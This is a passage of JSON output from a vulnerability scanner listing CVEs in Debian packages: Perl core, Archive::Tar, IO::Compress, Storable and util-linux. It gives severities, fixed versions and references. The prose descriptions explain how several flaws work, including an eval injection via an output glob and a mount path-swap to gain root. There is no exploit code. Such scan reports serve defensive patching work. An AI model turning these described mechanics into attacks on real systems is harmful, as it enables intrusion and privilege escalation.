"PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.36@5.36.0-7%2Bdeb12u3?arch=all\u0026distro=debian-12.13", "UID": "497f4140550900b2" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ba5dcb4e874bdeeed184357e515ae88642b2cc274aa5cb4d4f9f2c15c763abcf", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-modules-5.36@5.36.0-7+deb12u3", "PkgName": "perl-modules-5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.36@5.36.0-7%2Bdeb12u3?arch=all\u0026distro=debian-12.13", "UID": "497f4140550900b2" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5e9eaefd11f403115ba742b43394d5b39ddc4e64bd26dbe2295d29534638be85", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-modules-5.36@5.36.0-7+deb12u3", "PkgName": "perl-modules-5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.36@5.36.0-7%2Bdeb12u3?arch=all\u0026distro=debian-12.13", "UID": "497f4140550900b2" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c200bbc7c6b246d2cae937dfee73965cf42611f29a19e99a32e6d71eaf9aee71", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-modules-5.36@5.36.0-7+deb12u3", "PkgName": "perl-modules-5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.36@5.36.0-7%2Bdeb12u3?arch=all\u0026distro=debian-12.13", "UID": "497f4140550900b2" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b15ee93c0b2e533ef8a48d780bb2add348d4942d1c161ef5b8f375dd6bc32e1", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-modules-5.36@5.36.0-7+deb12u3", "PkgName": "perl-modules-5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.36@5.36.0-7%2Bdeb12u3?arch=all\u0026distro=debian-12.13", "UID": "497f4140550900b2" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:567fff050239d9ab4544288ba82b07ec9b45a99235701e90db61b9f73c61e101", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-modules-5.36@5.36.0-7+deb12u3", "PkgName": "perl-modules-5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.36@5.36.0-7%2Bdeb12u3?arch=all\u0026distro=debian-12.13", "UID": "497f4140550900b2" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:99c4ea79b84f7c8e4118cbb9d31b886461a21a98b5311be6111ca9f513ed3b46", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-modules-5.36@5.36.0-7+deb12u3", "PkgName": "perl-modules-5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.36@5.36.0-7%2Bdeb12u3?arch=all\u0026distro=debian-12.13", "UID": "497f4140550900b2" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:56707b6949a251d696e1bfc7b419a84095a53ef218169d54b4004c99a5c6f7ea", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "perl-modules-5.36@5.36.0-7+deb12u3", "PkgName": "perl-modules-5.36", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-modules-5.36@5.36.0-7%2Bdeb12u3?arch=all\u0026distro=debian-12.13", "UID": "497f4140550900b2" }, "InstalledVersion": "5.36.0-7+deb12u3", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:def997f1f41a76d833fe8f8ee567be375d12826a1807ad2df14022054a314642", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "util-linux@2.38.1-5+deb12u3", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "c50a1829816b9d94" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1dc6c2844953c3538eb9dfb00dadd54d3a9d28bca2077fca440f8d58081843a6", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "util-linux@2.38.1-5+deb12u3", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "c50a1829816b9d94" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0bcde36e14db9ba30f30b1a44cf04b19b0b3ae09f5cc5a5fb47a9d3e4f3cd7d7", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", 